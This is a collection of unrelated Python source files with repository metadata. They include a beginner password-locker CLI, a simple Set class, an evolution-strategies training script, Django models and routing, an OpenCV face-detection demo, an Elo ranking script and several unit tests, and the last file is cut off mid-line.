#!/usr/bin/env python3.8 import pyperclip import random import string from py_lock import personas, profiles def create_persona(persona_name, password): new_persona = personas(persona_name, password) return new_persona def save_New_persona(persona_name): personas.personas_list.append(persona_name) def accept_persona(persona_name, password): accept_persona = profiles.confirm_persona(persona_name, password) return accept_persona def create_profile(app, persona_name, user_password): new_profile = profiles( app, persona_name, user_password ) return new_profile def save_profile(py_lock): py_lock.save_profile() def delete_profile(py_lock): py_lock.delete_profile() def find_profile(app): return profiles.search_profile(app) def check_existing_profile(app): return profiles.profile_exist(app) def display_profile(): return profiles.display_profile() def copy_password(app): profiles.copy_password(app) def gen_password(): auto_generic_password = profiles.gen_password() return auto_generic_password def main(): print("Welome to your user profiles list.Create An Account :CA or Already have an Account LI? :") short_code = input("CA ,LI").lower() if short_code == 'ca': username = input("Enter your prefered username").capitalize() password = input("Enter Your Password As Well") save_New_persona(create_persona(username, password)) elif short_code == 'li': username = input("Enter your prefered username").capitalize() password = input("Enter Your Password As Well") validate_persona = (accept_persona(username, password)) if validate_persona == username: print(f"Hello {username}.Welcome To PassWord Locker Manager") print('\n') print("what would you like to do?") print('\n') while True: print("Use these short codes : cc - Create a new credential, dc - Display Credential(s), fc - Find a credential,ex - Exit the application, gp- Generate A randomn password, del- Delete credential,cp-Copy Password") short_code = input().lower() if short_code == 'cc': print("New Profile") print("-"*10) print("App name.....") app_name = input().capitalize() print("Your App name ...e.g instagram username") persona_name = input() while True: print(" For Type/Paste Password type TP ; For generate_Password type gp") password == input("Enter").lower() if password == 'tp': password = input("Enter Password") break elif password == 'gp': password = gen_password() break elif password != 'tp' or 'gp': print("Invalid password please try again") break else: print("Invalid password please try again") save_profile(create_profile(app_name, username, password)) print('\n') print( f"New Profile : {app_name} UserName: {username} created") print('\n') elif short_code == 'dc': if display_profile(): print( "Your Account(s) Profile(S) are as follows :") print('\n') for password_locker in display_profile(): print( f"App_name :{password_locker.app_name} ; UserName: {password_locker.username} ; PassWord :{password_locker.password}") print('\n') else: print('\n') print( "Oops !!! You dont seem to have any Profile saved yet") print('\n') elif short_code == 'fc': print("Enter the Account Name you want to search for") search_name = input().capitalize() if check_existing_profile(search_name): search_profile = find_profile(search_name) print(f"app_name:{search_profile.app_name}") print('-'*100) print( f"app_name:{search_profile.app_name} password :{search_profile.password}") else: print("That Credential does not exist") print('\n') elif short_code == 'cp': print("Enter the app name of the profile you want to generate password for") search_name = input().capitalize() if check_existing_profile(search_name): search_profile = find_profile(search_name) print(f"{search_profile.app_name}") print('-'*20) password = copy_password(search_name) print('\n') print( f"New profile : {app_name} username: {username} You can proceed and paste to your account") print('\n') else: print("That profile does not exist") elif short_code == 'gp': password = gen_password() elif short_code == 'ex': print("Happy Coding See You Later and try listening to podcasts mostly bill burr") break else: print("Invalid response kindly refer to the Menu above") if __name__ == '__main__': main()

5,092

0

276

a111b0cae354e20686401a949e25af061b226bbe

585

py

Python

refresher/Set.py

arunma/Python_DataScience

2f23de4517a761f373ef3cd3e708e46e84c62719

[ "Apache-2.0" ]

1

2018-01-21T06:43:16.000Z

refresher/Set.py

arunma/Python_DataScience

2f23de4517a761f373ef3cd3e708e46e84c62719

[ "Apache-2.0" ]

null

refresher/Set.py

arunma/Python_DataScience

2f23de4517a761f373ef3cd3e708e46e84c62719

[ "Apache-2.0" ]

null

s=Set([1,2,3]) s.add(4) print s print ("contains 5,",s.contains(5)) print ("contains 4,",s.contains(4)) s.remove(3) print (s) print ("contains 3,",s.contains(3))

18.870968

45

0.574359

class Set: def __init__(self, values=None): self.dict={} if values is not None: for value in values: self.add(value) def __repr__(self): return "Set : "+str(self.dict.keys()) def add (self, value): self.dict[value]=True def contains(self, value): return value in self.dict def remove(self, value): del self.dict[value] s=Set([1,2,3]) s.add(4) print s print ("contains 5,",s.contains(5)) print ("contains 4,",s.contains(4)) s.remove(3) print (s) print ("contains 3,",s.contains(3))

274

-11

156

6cf265d72ec069ba1c8f2f1dcab4bda48de2e36a

4,638

py

Python

bevodevo/train.py

riveSunder/bevodevo

d45ec97b825489a9e94f79843e7169daa9491264

[ "MIT" ]

4

2020-12-02T22:28:29.000Z

2020-12-28T05:42:06.000Z

bevodevo/train.py

riveSunder/bevodevo

d45ec97b825489a9e94f79843e7169daa9491264

[ "MIT" ]

5

2020-12-27T16:43:42.000Z

2021-11-11T21:00:15.000Z

bevodevo/train.py

riveSunder/bevodevo

d45ec97b825489a9e94f79843e7169daa9491264

[ "MIT" ]

null

import os import sys import argparse import subprocess import torch import numpy as np import time import gym import pybullet import pybullet_envs from mpi4py import MPI comm = MPI.COMM_WORLD from bevodevo.policies.rnns import GatedRNNPolicy from bevodevo.policies.cnns import ImpalaCNNPolicy from bevodevo.policies.mlps import MLPPolicy, CPPNMLPPolicy, CPPNHebbianMLP,\ HebbianMLP, ABCHebbianMLP, HebbianMetaMLP, ABCHebbianMetaMLP from bevodevo.algos.es import ESPopulation, ConstrainedESPopulation from bevodevo.algos.cmaes import CMAESPopulation from bevodevo.algos.pges import PGESPopulation from bevodevo.algos.nes import NESPopulation from bevodevo.algos.ga import GeneticPopulation from bevodevo.algos.random_search import RandomSearch #from bevodevo.algos.vpg import VanillaPolicyGradient #from bevodevo.algos.dqn import DQN if __name__ == "__main__": parser = argparse.ArgumentParser("Experiment parameters") parser.add_argument("-n", "--env_name", type=str, \ help="name of environemt", default="InvertedPendulumBulletEnv-v0") parser.add_argument("-p", "--population_size", type=int,\ help="number of individuals in population", default=64) parser.add_argument("-w", "--num_workers", type=int,\ help="number of cpu thread workers", default=0) parser.add_argument("-a", "--algorithm", type=str,\ help="name of es learning algo", default="ESPopulation") parser.add_argument("-pi", "--policy", type=str,\ help="name of policy architecture", default="MLPPolicy") parser.add_argument("-g", "--generations", type=int,\ help="number of generations", default=50) parser.add_argument("-t", "--performance_threshold", type=float,\ help="performance threshold to use for early stopping", default=float("Inf")) parser.add_argument("-x", "--exp_name", type=str, \ help="name of experiment", default="temp_exp") parser.add_argument("-s", "--seeds", type=int, nargs="+", default=42,\ help="seed for initializing pseudo-random number generator") args = parser.parse_args() if "BalanceBot" in args.env_name \ or "Duck" in args.env_name \ or "Cube" in args.env_name \ or "Sphere" in args.enve_name: import open_safety.envs if "-v" not in args.env_name: args.env_name += "-v0" if type(args.seeds) is not list: args.seeds = [args.seeds] train(args)

34.102941

89

0.681975

import os import sys import argparse import subprocess import torch import numpy as np import time import gym import pybullet import pybullet_envs from mpi4py import MPI comm = MPI.COMM_WORLD from bevodevo.policies.rnns import GatedRNNPolicy from bevodevo.policies.cnns import ImpalaCNNPolicy from bevodevo.policies.mlps import MLPPolicy, CPPNMLPPolicy, CPPNHebbianMLP,\ HebbianMLP, ABCHebbianMLP, HebbianMetaMLP, ABCHebbianMetaMLP from bevodevo.algos.es import ESPopulation, ConstrainedESPopulation from bevodevo.algos.cmaes import CMAESPopulation from bevodevo.algos.pges import PGESPopulation from bevodevo.algos.nes import NESPopulation from bevodevo.algos.ga import GeneticPopulation from bevodevo.algos.random_search import RandomSearch #from bevodevo.algos.vpg import VanillaPolicyGradient #from bevodevo.algos.dqn import DQN def train(argv): # env_name, generations, population_size, if "gatedrnn" in argv.policy.lower(): policy_fn = GatedRNNPolicy argv.policy = "GatedRNNPolicy" elif "impala" in argv.policy.lower(): policy_fn = ImpalaCNNPolicy argv.policy = "ImpalaCNNPolicy" elif "cppnmlp" in argv.policy.lower(): policy_fn = CPPNMLPPolicy arg.policy = "CPPNMLPPolicy" elif "abchebbianmlp" in argv.policy.lower(): policy_fn = ABCHebbianMLP argv.policy = "ABCHebbianMLP" elif "abchebbianmetamlp" in argv.policy.lower(): policy_fn = ABCHebbianMetaMLP argv.policy = "ABCHebbianMetaMLP" elif "cppnhebbianmlp" in argv.policy.lower(): policy_fn = CPPNHebbianMLP argv.policy = "CPPNHebbianMLP" elif "hebbianmlp" in argv.policy.lower(): policy_fn = HebbianMLP argv.policy = "HebbianMLP" elif "hebbianmetamlp" in argv.policy.lower(): policy_fn = HebbianMetaMLP argv.policy = "HebbianMetaMLP" elif "mlppolicy" in argv.policy.lower(): policy_fn = MLPPolicy argv.policy = "MLPPolicy" else: assert False, "policy not found, check spelling?" if "ConstrainedESPopulation" == argv.algorithm: population_fn = ConstrainedESPopulation elif "ESPopulation" == argv.algorithm: population_fn = ESPopulation elif "CMAESPopulation" == argv.algorithm: population_fn = CMAESPopulation elif "Genetic" in argv.algorithm: population_fn = GeneticPopulation elif "PGES" in argv.algorithm: population_fn = PGESPopulation elif "NES" in argv.algorithm: population_fn = NESPopulation elif "dqn" in argv.algorithm: population_fn = DQN elif "vpg" in argv.algorithm.lower(): population_fn = VanillaPolicyGradient elif "andom" in argv.algorithm: population_fn = RandomSearch else: assert False, "population algo not found, check spelling?" num_workers = argv.num_workers population = population_fn(policy_fn, num_workers=num_workers) population.train(argv) if __name__ == "__main__": parser = argparse.ArgumentParser("Experiment parameters") parser.add_argument("-n", "--env_name", type=str, \ help="name of environemt", default="InvertedPendulumBulletEnv-v0") parser.add_argument("-p", "--population_size", type=int,\ help="number of individuals in population", default=64) parser.add_argument("-w", "--num_workers", type=int,\ help="number of cpu thread workers", default=0) parser.add_argument("-a", "--algorithm", type=str,\ help="name of es learning algo", default="ESPopulation") parser.add_argument("-pi", "--policy", type=str,\ help="name of policy architecture", default="MLPPolicy") parser.add_argument("-g", "--generations", type=int,\ help="number of generations", default=50) parser.add_argument("-t", "--performance_threshold", type=float,\ help="performance threshold to use for early stopping", default=float("Inf")) parser.add_argument("-x", "--exp_name", type=str, \ help="name of experiment", default="temp_exp") parser.add_argument("-s", "--seeds", type=int, nargs="+", default=42,\ help="seed for initializing pseudo-random number generator") args = parser.parse_args() if "BalanceBot" in args.env_name \ or "Duck" in args.env_name \ or "Cube" in args.env_name \ or "Sphere" in args.enve_name: import open_safety.envs if "-v" not in args.env_name: args.env_name += "-v0" if type(args.seeds) is not list: args.seeds = [args.seeds] train(args)

2,117

0

23

305281d1d65e2e36d46180f95ea3d6692aa1c5ca

366

py

Python

prediction/models.py

WaruiAlfred/ail_predict

8d406e802394d45f4d22039e1d91c695fe8e069f

[ "MIT" ]

null

prediction/models.py

WaruiAlfred/ail_predict

8d406e802394d45f4d22039e1d91c695fe8e069f

[ "MIT" ]

null

prediction/models.py

WaruiAlfred/ail_predict

8d406e802394d45f4d22039e1d91c695fe8e069f

[ "MIT" ]

null

# from django.db import models from django.contrib.auth.models import AbstractUser from django.db import models # Create your models here.

40.666667

83

0.803279

# from django.db import models from django.contrib.auth.models import AbstractUser from django.db import models # Create your models here. class User(AbstractUser): is_admin = models.BooleanField('Admin',default=False) is_patient = models.BooleanField('Patient',default=False) is_health_practitioner = models.BooleanField('Health practitioner',default=False)

0

205

22

b0f91056a6c368409caf0a5fb324e79cfc59388f

2,262

py

Python

demos/demo_face_detection.py

rflamary/demos

af330563f5642d8435fa62641389b530a8396fc7

[ "MIT" ]

25

2020-03-14T22:01:30.000Z

2021-10-05T13:50:02.000Z

demos/demo_face_detection.py

rflamary/demos

af330563f5642d8435fa62641389b530a8396fc7

[ "MIT" ]

null

demos/demo_face_detection.py

rflamary/demos

af330563f5642d8435fa62641389b530a8396fc7

[ "MIT" ]

null

#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ MIT License Copyright (c) 2020 Rémi Flamary Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. """ import numpy as np import numpy as np import cv2 import os path_classif=os.path.dirname(__file__)+'/../data/models/haarcascade_frontalface_default.xml' cam=os.getenv("CAMERA") if cam is None: cap = cv2.VideoCapture(0) else: cap = cv2.VideoCapture(int(cam)) face_cascade = cv2.CascadeClassifier(path_classif) #screenshot index index idscreen=0 while(True): # Capture frame-by-frame ret, frame = cap.read() img=frame # apply detector gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY) faces = face_cascade.detectMultiScale(gray, 1.3, 5) # print rectangles for detected faces for (x,y,w,h) in faces: img = cv2.rectangle(img,(x,y),(x+w,y+h),(255,0,0),2) roi_gray = gray[y:y+h, x:x+w] roi_color = img[y:y+h, x:x+w] # Display the resulting frame cv2.imshow('Face detection',img) key=cv2.waitKey(1) if (key & 0xFF) in [ ord('q')]: break if (key & 0xFF) in [ ord('s')]: cv2.imwrite("screen_{}.png".format(idscreen),img*255) idscreen+=1 # When everything done, release the capture cap.release() cv2.destroyAllWindows()

29

92

0.716622

#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ MIT License Copyright (c) 2020 Rémi Flamary Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. """ import numpy as np import numpy as np import cv2 import os path_classif=os.path.dirname(__file__)+'/../data/models/haarcascade_frontalface_default.xml' cam=os.getenv("CAMERA") if cam is None: cap = cv2.VideoCapture(0) else: cap = cv2.VideoCapture(int(cam)) face_cascade = cv2.CascadeClassifier(path_classif) #screenshot index index idscreen=0 while(True): # Capture frame-by-frame ret, frame = cap.read() img=frame # apply detector gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY) faces = face_cascade.detectMultiScale(gray, 1.3, 5) # print rectangles for detected faces for (x,y,w,h) in faces: img = cv2.rectangle(img,(x,y),(x+w,y+h),(255,0,0),2) roi_gray = gray[y:y+h, x:x+w] roi_color = img[y:y+h, x:x+w] # Display the resulting frame cv2.imshow('Face detection',img) key=cv2.waitKey(1) if (key & 0xFF) in [ ord('q')]: break if (key & 0xFF) in [ ord('s')]: cv2.imwrite("screen_{}.png".format(idscreen),img*255) idscreen+=1 # When everything done, release the capture cap.release() cv2.destroyAllWindows()

0

4a1f4f3d91982d2ea80d4f5e58037fd0d77bdd1f

2,571

py

Python

calculateRanking.py

ConorMaley/Catan

c16f1a1d1eb286b13322a8b50ef319dd079ef01c

[ "Apache-2.0" ]

null

calculateRanking.py

ConorMaley/Catan

c16f1a1d1eb286b13322a8b50ef319dd079ef01c

[ "Apache-2.0" ]

null

calculateRanking.py

ConorMaley/Catan

c16f1a1d1eb286b13322a8b50ef319dd079ef01c

[ "Apache-2.0" ]

null

import googleSheetsApi import eloCalculator if __name__ == '__main__': main()

30.975904

132

0.614936

import googleSheetsApi import eloCalculator def main(): masterSheet = googleSheetsApi.getMasterSheet() Elos = {} playersArray = [] highestELO = {} highestELO['score'] = 1200 lowestELO = {} lowestELO['score'] = 1200 for line_count, row in enumerate(masterSheet): if line_count == 0: for name in row[1:]: Elos[name] = 1200 playersArray.append(name) # print(f'Column names are {", ".join(row)}') else: Gamescore = {} OldElos = {} for index, score in enumerate(row[1:]): if score == '': score = 0 if int(score) >= 2: Gamescore[playersArray[index]] = score OldElos[playersArray[index]] = Elos[playersArray[index]] for index, (player, score) in enumerate(Gamescore.items()): scoreChange = 0 for jindex, (opp, oppScore) in enumerate(Gamescore.items()): if index != jindex: if int(score) > int(oppScore): status = 1 elif int(score) == int(oppScore): status = 0.5 else: status = 0 # print(f'{status} = status') # K is constant for now tempSC = eloCalculator.CalcEloChange(Elos[player], OldElos[opp], 30, status) # print(f'{player} {Elos[player]} scored {score}, Opponent {opp} {OldElos[opp]} scored {oppScore}, change to player {tempSC}') scoreChange += tempSC # print(f'{player} scoreChange = {scoreChange}') Elos[player] += round(scoreChange, 2) # print(f'=============ELO after {line_count} games=============') for name in sorted(Elos, key=Elos.get, reverse=True): # not very efficient if Elos[name] > highestELO['score']: highestELO['score'] = Elos[name] highestELO['player'] = name highestELO['game'] = line_count elif Elos[name] < lowestELO['score']: lowestELO['score'] = Elos[name] lowestELO['player'] = name lowestELO['game'] = line_count # print(f'{name}: {Elos[name]}') # print(f'{sorted( ((name, score) for score, name in Elos.items()), reverse=True)}') # newScore = '{} : {}'.format(name, score) for score, name in Elos.items() } # print(f'{newScore}') # print(f'Game {line_count} {repr(Elos.items())}') #todo: write to rankings in google sheet # for avg, val in enumerate(Elos): # avg += Elos[val] # print(f'{val}: {Elos[val]}') # avg = avg/len(Elos) # print(f'Avg Elo: {avg}') # Final rankings print('=============Final ELO count=============') print(f'Highest ELO: {highestELO}') print(f'Lowest ELO: {lowestELO}') for name in sorted(Elos, key=Elos.get, reverse=True): print(f'{name}: {Elos[name]}') if __name__ == '__main__': main()

2,466

0

23

c32342487ddf2e42cf5a098bcc493400e3bb3c02

1,211

py

Python

tests/workflows/test_cli_parser.py

akrherz/pyWWA

011526f459db00d117e59f570535ac42ca267d83

[ "MIT" ]

9

2015-03-27T22:43:07.000Z

2020-04-10T04:19:47.000Z

tests/workflows/test_cli_parser.py

akrherz/pyWWA

011526f459db00d117e59f570535ac42ca267d83

[ "MIT" ]

76

2015-03-05T18:20:07.000Z

2022-03-24T02:04:25.000Z

tests/workflows/test_cli_parser.py

akrherz/pyWWA

011526f459db00d117e59f570535ac42ca267d83

[ "MIT" ]

3

2020-11-05T17:38:03.000Z

2022-03-04T17:39:40.000Z

"""Test cli_parser.""" # 3rd Party from pyiem.util import utc import pytest # Local import pywwa from pywwa.workflows import cli_parser from pywwa.testing import get_example_file @pytest.mark.parametrize("database", ["iem"]) def test_processor(cursor): """Test basic parsing.""" data = get_example_file("CLI.txt") pywwa.CTX.utcnow = utc(2015, 6, 9, 6, 51) prod = cli_parser.processor(cursor, data) assert prod.valid == pywwa.CTX.utcnow @pytest.mark.parametrize("database", ["iem"]) def test_two_clis(cursor): """Test parsing ye infamous double CLI.""" cursor.execute( "select max_tmpf from summary_2014 s JOIN stations t " "on (s.iemid = t.iemid) WHERE t.id in ('HOU', 'IAH') " "and day = '2014-11-30'" ) data = get_example_file("CLIHOU.txt") prod = cli_parser.processor(cursor, data) assert len(prod.data) == 2 @pytest.mark.parametrize("database", ["iem"]) def test_bad_station(cursor): """Test what happens when we have an unknown station.""" data = get_example_file("CLI.txt").replace("CLIFGF", "CLIXXX") pywwa.CTX.utcnow = utc(2015, 6, 9, 6, 51) prod = cli_parser.processor(cursor, data) assert prod is not None

29.536585

66

0.672998

"""Test cli_parser.""" # 3rd Party from pyiem.util import utc import pytest # Local import pywwa from pywwa.workflows import cli_parser from pywwa.testing import get_example_file @pytest.mark.parametrize("database", ["iem"]) def test_processor(cursor): """Test basic parsing.""" data = get_example_file("CLI.txt") pywwa.CTX.utcnow = utc(2015, 6, 9, 6, 51) prod = cli_parser.processor(cursor, data) assert prod.valid == pywwa.CTX.utcnow @pytest.mark.parametrize("database", ["iem"]) def test_two_clis(cursor): """Test parsing ye infamous double CLI.""" cursor.execute( "select max_tmpf from summary_2014 s JOIN stations t " "on (s.iemid = t.iemid) WHERE t.id in ('HOU', 'IAH') " "and day = '2014-11-30'" ) data = get_example_file("CLIHOU.txt") prod = cli_parser.processor(cursor, data) assert len(prod.data) == 2 @pytest.mark.parametrize("database", ["iem"]) def test_bad_station(cursor): """Test what happens when we have an unknown station.""" data = get_example_file("CLI.txt").replace("CLIFGF", "CLIXXX") pywwa.CTX.utcnow = utc(2015, 6, 9, 6, 51) prod = cli_parser.processor(cursor, data) assert prod is not None

0

0711d2b2079f706e4f95d3bb4d7821e8f97ba680

354

py

Python

src/modules/services/interfaces/health.py

periket2000/zookeeperize

3e72337643b60984b3ad8c206088ea6ea18b0206

[ "Apache-2.0" ]

null

src/modules/services/interfaces/health.py

periket2000/zookeeperize

3e72337643b60984b3ad8c206088ea6ea18b0206

[ "Apache-2.0" ]

null

src/modules/services/interfaces/health.py

periket2000/zookeeperize

3e72337643b60984b3ad8c206088ea6ea18b0206

[ "Apache-2.0" ]

null

# -*- coding: utf-8 -*- """ Metaclass as interface for the health service """ from abc import ABCMeta, abstractmethod

19.666667

45

0.621469

# -*- coding: utf-8 -*- """ Metaclass as interface for the health service """ from abc import ABCMeta, abstractmethod class HealthInterface(metaclass=ABCMeta): @abstractmethod def process(self, salute=None): """ Health interface :salute: the salute to the system :return: Json response """ pass

0

211

23

05a56b2d9163eb6470a1531a5bcf0049c9a4bd4b

173

py

Python

course_api/routing.py

dragonbone81/bobcat-courses-backend

d0f98b837f37eb16a89a24ce9bd3f3f0fd52064c

[ "MIT" ]

3

2018-10-25T12:41:33.000Z

2019-09-19T19:47:39.000Z

course_api/routing.py

dragonbone81/bobcat-courses-backend

d0f98b837f37eb16a89a24ce9bd3f3f0fd52064c

[ "MIT" ]

22

2018-04-01T02:43:01.000Z

2022-03-11T23:15:55.000Z

course_api/routing.py

dragonbone81/cse120

d0f98b837f37eb16a89a24ce9bd3f3f0fd52064c

[ "MIT" ]

1

2019-09-19T19:48:59.000Z

# chat/routing.py from django.conf.urls import url from . import consumers websocket_urlpatterns = [ url(r'^api/ws/notifications', consumers.NotificationsConsumer), ]

19.222222

67

0.763006

# chat/routing.py from django.conf.urls import url from . import consumers websocket_urlpatterns = [ url(r'^api/ws/notifications', consumers.NotificationsConsumer), ]

0

609b8d6d6afdd31120e91ceaa06afaea06a3515a

14,668

py

Python

force_wfmanager/tests/test_wfmanager_tasks.py

force-h2020/force-wfmanager

bcd488cd37092cacd9d0c81b544ee8c1654d1d92

[ "BSD-2-Clause" ]

1

2019-08-19T16:02:20.000Z

force_wfmanager/tests/test_wfmanager_tasks.py

force-h2020/force-wfmanager

bcd488cd37092cacd9d0c81b544ee8c1654d1d92

[ "BSD-2-Clause" ]

396

2017-07-18T15:19:55.000Z

2021-05-03T06:23:06.000Z

force_wfmanager/tests/test_wfmanager_tasks.py

force-h2020/force-wfmanager

bcd488cd37092cacd9d0c81b544ee8c1654d1d92

[ "BSD-2-Clause" ]

2

2019-03-05T16:23:10.000Z

2020-04-16T08:59:11.000Z

# (C) Copyright 2010-2020 Enthought, Inc., Austin, TX # All rights reserved. import copy from unittest import mock, TestCase from pyface.api import OK, CANCEL from pyface.file_dialog import FileDialog from pyface.ui.qt4.util.gui_test_assistant import GuiTestAssistant from pyface.tasks.api import TaskWindow from force_bdss.tests.probe_classes.factory_registry import ( ProbeFactoryRegistry, ) from force_bdss.api import Workflow from force_wfmanager.tests.dummy_classes.dummy_contributed_ui import ( DummyContributedUI, ) from force_wfmanager.ui.review.data_view_pane import DataViewPane from force_wfmanager.ui.setup.setup_pane import SetupPane from force_wfmanager.ui.setup.side_pane import SidePane from force_wfmanager.ui.review.results_pane import ResultsPane from force_wfmanager.model.analysis_model import AnalysisModel from .mock_methods import mock_file_writer, mock_dialog, mock_return_args from force_wfmanager.tests.dummy_classes.dummy_wfmanager import DummyWfManager from force_wfmanager.wfmanager_review_task import WfManagerReviewTask from force_wfmanager.wfmanager_setup_task import WfManagerSetupTask FILE_DIALOG_PATH = "force_wfmanager.wfmanager_setup_task.FileDialog" RESULTS_FILE_DIALOG_PATH = "force_wfmanager.wfmanager_review_task.FileDialog" RESULTS_FILE_OPEN_PATH = "force_wfmanager.io.project_io.open" RESULTS_JSON_DUMP_PATH = "force_wfmanager.io.project_io.json.dump" RESULTS_JSON_LOAD_PATH = "force_wfmanager.io.project_io.json.load" RESULTS_WRITER_PATH = ( "force_wfmanager.io.project_io.WorkflowWriter.get_workflow_data" ) RESULTS_READER_PATH = "force_wfmanager.io.project_io.WorkflowReader" RESULTS_ERROR_PATH = "force_wfmanager.wfmanager_review_task.error" ANALYSIS_WRITE_PATH = ( "force_wfmanager.io.analysis_model_io.write_analysis_model" ) ANALYSIS_FILE_OPEN_PATH = "force_wfmanager.model.analysis_model.open"

37.804124

79

0.650123

# (C) Copyright 2010-2020 Enthought, Inc., Austin, TX # All rights reserved. import copy from unittest import mock, TestCase from pyface.api import OK, CANCEL from pyface.file_dialog import FileDialog from pyface.ui.qt4.util.gui_test_assistant import GuiTestAssistant from pyface.tasks.api import TaskWindow from force_bdss.tests.probe_classes.factory_registry import ( ProbeFactoryRegistry, ) from force_bdss.api import Workflow from force_wfmanager.tests.dummy_classes.dummy_contributed_ui import ( DummyContributedUI, ) from force_wfmanager.ui.review.data_view_pane import DataViewPane from force_wfmanager.ui.setup.setup_pane import SetupPane from force_wfmanager.ui.setup.side_pane import SidePane from force_wfmanager.ui.review.results_pane import ResultsPane from force_wfmanager.model.analysis_model import AnalysisModel from .mock_methods import mock_file_writer, mock_dialog, mock_return_args from force_wfmanager.tests.dummy_classes.dummy_wfmanager import DummyWfManager from force_wfmanager.wfmanager_review_task import WfManagerReviewTask from force_wfmanager.wfmanager_setup_task import WfManagerSetupTask FILE_DIALOG_PATH = "force_wfmanager.wfmanager_setup_task.FileDialog" RESULTS_FILE_DIALOG_PATH = "force_wfmanager.wfmanager_review_task.FileDialog" RESULTS_FILE_OPEN_PATH = "force_wfmanager.io.project_io.open" RESULTS_JSON_DUMP_PATH = "force_wfmanager.io.project_io.json.dump" RESULTS_JSON_LOAD_PATH = "force_wfmanager.io.project_io.json.load" RESULTS_WRITER_PATH = ( "force_wfmanager.io.project_io.WorkflowWriter.get_workflow_data" ) RESULTS_READER_PATH = "force_wfmanager.io.project_io.WorkflowReader" RESULTS_ERROR_PATH = "force_wfmanager.wfmanager_review_task.error" ANALYSIS_WRITE_PATH = ( "force_wfmanager.io.analysis_model_io.write_analysis_model" ) ANALYSIS_FILE_OPEN_PATH = "force_wfmanager.model.analysis_model.open" def get_probe_wfmanager_tasks(wf_manager=None, contributed_uis=None): # Returns the Setup and Review Tasks, with a mock TaskWindow and dummy # Application which does not have an event loop. if wf_manager is None: wf_manager = DummyWfManager() analysis_model = AnalysisModel() workflow_model = Workflow() factory_registry_plugin = ProbeFactoryRegistry() if contributed_uis is None: contributed_uis = [DummyContributedUI()] wf_manager.factory_registry = factory_registry_plugin setup_test = WfManagerSetupTask( analysis_model=analysis_model, workflow_model=workflow_model, factory_registry=factory_registry_plugin, contributed_uis=contributed_uis, ) review_task = WfManagerReviewTask( analysis_model=analysis_model, workflow_model=workflow_model, factory_registry=factory_registry_plugin, ) tasks = [setup_test, review_task] mock_window = mock.Mock(spec=TaskWindow) mock_window.tasks = tasks mock_window.application = wf_manager for task in tasks: task.window = mock_window task.create_central_pane() # A Task's central pane is generally aware of its task in normal # operations, but it doesn't seem to be so in this mock situation; # so we "make" it aware. if hasattr(task, "central_pane") and task.central_pane is not None: task.central_pane.task = task task.create_dock_panes() return tasks[0], tasks[1] def return_workflow(file_path): return Workflow() class TestWFManagerTasks(GuiTestAssistant, TestCase): def setUp(self): super(TestWFManagerTasks, self).setUp() self.setup_task, self.review_task = get_probe_wfmanager_tasks() def test_init(self): self.assertIsInstance(self.setup_task.create_central_pane(), SetupPane) self.assertEqual(len(self.setup_task.create_dock_panes()), 1) self.assertIsInstance(self.setup_task.side_pane, SidePane) self.assertEqual(len(self.review_task.create_dock_panes()), 1) self.assertIsInstance(self.review_task.side_pane, ResultsPane) self.assertIsInstance( self.review_task.create_central_pane(), DataViewPane ) self.assertIsInstance(self.review_task.workflow_model, Workflow) self.assertIsInstance(self.setup_task.workflow_model, Workflow) self.assertIsInstance(self.review_task.analysis_model, AnalysisModel) self.assertIsInstance(self.setup_task.analysis_model, AnalysisModel) def test_save_analysis(self): mock_open = mock.mock_open() with mock.patch( RESULTS_FILE_DIALOG_PATH ) as mock_file_dialog, mock.patch( ANALYSIS_FILE_OPEN_PATH, mock_open, create=False ): mock_file_dialog.side_effect = mock_dialog( FileDialog, OK, "test_file.json" ) self.review_task.analysis_model._export_enabled = True self.assertTrue(self.review_task.export_analysis_model_as()) self.assertTrue(mock_file_dialog.called) self.assertTrue(mock_open.called) mock_open = mock.mock_open() with mock.patch( RESULTS_FILE_DIALOG_PATH ) as mock_file_dialog, mock.patch( ANALYSIS_FILE_OPEN_PATH, mock_open, create=False ): mock_file_dialog.side_effect = mock_dialog( FileDialog, OK, "test_file.csv" ) self.assertTrue(self.review_task.export_analysis_model_as()) self.assertTrue(mock_file_dialog.called) self.assertTrue(mock_open.called) def test_save_analysis_failure(self): mock_open = mock.mock_open() with mock.patch( RESULTS_FILE_DIALOG_PATH ) as mock_file_dialog, mock.patch( ANALYSIS_FILE_OPEN_PATH, mock_open, create=False ): mock_file_dialog.side_effect = mock_dialog(FileDialog, CANCEL) self.assertFalse(self.review_task.export_analysis_model_as()) self.assertTrue(mock_file_dialog.called) self.assertFalse(mock_open.called) mock_open = 